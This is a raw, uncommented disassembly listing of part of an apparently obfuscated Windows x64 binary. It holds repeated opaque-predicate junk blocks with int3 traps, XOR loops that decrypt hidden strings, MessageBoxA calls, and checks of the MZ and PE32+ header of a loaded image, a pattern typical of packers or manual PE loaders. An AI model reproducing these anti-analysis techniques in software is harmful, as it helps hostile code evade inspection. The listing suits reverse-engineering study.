mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b048
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b068
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.1400380a0
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400c0050
mov rax, qword gs:[0x1b]
mov edi, 0xcf7cf033
cmp rax, r12
jne 0x14002b138
mov rax, qword gs:[0x11]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b118
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b118
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b138
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002b1e2
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b1c2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b1c2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b1e2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14003879c
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002b29a
mov rax, qword gs:[0x11]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b27a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b27a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b29a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002b355
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b335
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b335
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b355
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14002b382
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14002b49f
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x14002b412
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x14002b3f5
mov rsi, qword [rbp - 0x40]
movabs r13, 0xe5a3648ce2378ab3
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002b549
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b529
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b529
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b549
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
mov ebx, 0xcf7cf033
cmp rax, r12
jne 0x14002b5f8
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b5d8
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b5d8
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b5f8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002b6a2
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b682
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b682
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b6a2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rcx, qword gs:[0x1b]
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x14002ba6a
cmp rcx, r12
jne 0x14002b76d
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b74d
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b74d
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b76d
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], __WSAFDIsSet
mov r10, r15
mov ebx, 0x9610712d
movabs rsi, 0x8080808080808081
movabs r8, 0x9f71783fd
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x13ee2f07fa
mov r14d, 0x9610712c
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002b7b8
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400e3a10]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400e3a20]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400e39d0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xf26f56ae
mov dword [rbp + 0xc8c], 0x50206f7e
mov dword [rbp + 0xc90], 0xc1542c3e
mov word [rbp + 0xc94], 0x3f
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x23c1eaf7b9
movabs r11, 0x4783d5ef72
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002b890
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002b9bc
mov rax, qword gs:[0x11]
mov ecx, 0xcf7cf033
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b99c
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b99c
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b9bc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14003730c
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ba4a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ba4a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003730c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
cmp rcx, r12
jne 0x14002bb0b
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002baeb
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002baeb
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bb0b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002bbd6
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bbb6
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bbb6
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bbd6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14002bfaa
cmp rax, r12
jne 0x14002bca3
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x93ac035
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bc83
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bc83
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bca3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], __WSAFDIsSet
mov r10, r15
mov ebx, 0x9610712d
movabs rsi, 0x8080808080808081
movabs r8, 0x9f71783fd
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x13ee2f07fa
mov r14d, 0x9610712c
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002bcee
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400e3a10]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400e3a40]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400e39d0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xf26f56ae
mov dword [rbp + 0xccc], 0x50206f7e
mov dword [rbp + 0xcd0], 0xc1542c3e
mov word [rbp + 0xcd4], 0x3f
mov r9, r15
movabs r8, 0x23c1eaf7b9
mov r10d, 0x3d
movabs r11, 0x4783d5ef72
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002bdc6
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002bef2
mov rax, qword gs:[0x11]
mov ecx, 0xcf7cf033
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bed2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bed2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bef2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14003730c
mov rax, qword gs:[0x11]
movabs rcx, 0xe5a3648ce2378ab3
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bf8a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bf8a
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003730c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
cmp rax, r12
jne 0x14002c04b
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c02b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c02b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c04b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400e3c20]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xc1f0fa23
mov dword [rbp + 0x98c], 0xe4de269c
mov dword [rbp + 0x990], 0xcf2ef43d
mov word [rbp + 0x994], 0x9bc
mov byte [rbp + 0x996], al
mov r8, r15
mov esi, 0x9610712c
movabs r9, 0x1195ed4346
lea r10d, [rax + 0x1e]
mov r12d, 0x9610712d
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x232bda868c
cmp r9, rax
jb 0x14002c0b7
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400e3ce0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400e3980]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs r9, 0x122bfdb473
mov r10d, Ordinal_35
movabs r14, 0x2457fb68e6
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r14
jb 0x14002c170
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140037318
mov rax, qword gs:[0x1b]
mov esi, 0x14587031
movabs r14, 0xe5a3648ce2378ab3
cmp rax, rsi
jne 0x14002c2de
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c2be
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c2be
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c2de
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c388
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c368
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c368
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c388
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
xor ecx, ecx
call fcn.1400a1cc4
mov rcx, rax
call fcn.14009d5a4
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c441
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c421
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c421
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c441
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c4eb
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c4cb
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c4cb
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c4eb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c595
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c575
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c575
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c595
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
mov edi, 0x93ac035
cmp rax, rsi
jne 0x14002c654
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c634
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c634
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c654
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c70f
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, 0x12c30fd1
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002c6ef
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002c6ef
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c70f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14002c7b9
